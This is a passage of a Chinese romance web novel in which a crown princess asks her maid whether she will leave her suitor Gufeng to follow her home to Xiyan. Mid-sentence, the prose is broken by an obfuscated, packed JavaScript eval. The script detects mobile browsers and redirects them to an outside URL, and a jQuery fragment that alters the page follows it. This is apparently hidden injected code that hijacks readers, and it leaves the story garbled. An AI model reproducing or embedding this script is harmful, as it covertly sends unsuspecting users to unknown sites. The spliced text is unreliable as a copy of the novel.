思忖了大半晌,她问喜晴。 “你对谷丰可有意?” 喜晴感到模棱两可地摇了摇头。 “他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281664|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个磕巴,若是一起过日子,以后遇到什么事,还不得急死奴婢啊。” 江箐珂很会抓字眼:“都想到过日子了,关系不一般啊?” 喜晴听后立马红了脸。 “太子妃又拿奴婢开心。” “奴婢才不喜欢那个磕巴呢。” “半天憋不出一个屁来,我这急性子跟他不合适。” 既然如此,江箐珂便开门见山地问了。 “若我同阿兄回西延,那你是跟我们走,还是留下来跟谷丰过日子?” 喜晴低头咬唇犹豫了一瞬。 “奴婢跟太子妃回西延。” “不后悔?” 江箐珂又确认了一遍。 “回去了,你可就再也见不到谷丰了?” “到时,也听不到有人在你耳边喜喜喜……喜晴地叫了。” 喜晴的头低得比方才还低了,坐在那里也不知在给谁愤愤地纳着鞋底。 可她语气却很坚定地道:“不后悔,太子妃都不后悔,奴婢便也不会后悔的。在西延,比谷丰壮实帅气的儿郎多着去了,还愁找不到好人家。” 江箐珂咋舌嗔怪。 “跟我有什么关系。” “我后悔,那你也跟着后悔?” “再说,咱俩情况不一样,谷丰又不会妻妾成群,你留下来,跟他还是能过好日子的。” 喜晴头摇得跟拨浪鼓似的。 “不管怎样,太子妃和大公子去哪儿,奴婢就去哪儿。” 喜晴跟她久了,性子也有点倔强。 江箐珂便也不再说劝什么,转而换了个话茬。 “我和阿兄的那两匹马呢?” 喜晴的情绪较方才明显低沉了许多。 她慢声道:“谷丰帮忙照料着呢,和太子殿下的马养在了一起。还说,枣红跟太子殿下的那匹马……” 江箐珂心不在焉地问:“怎么了?” 喜晴怯声道:“这不……入春了嘛。” 唇角抽动,江箐珂怔怔然地看向喜晴,语调不由高了八分。 “跟殿下的马……好上了?” 喜晴点头“嗯”了一声。 江箐珂翻了大白眼,后脑勺搭在椅背上,瘫坐在摇椅里,仰头发出鹅叫般的虚叹。 “天啊!这人不争气,马也不争气。”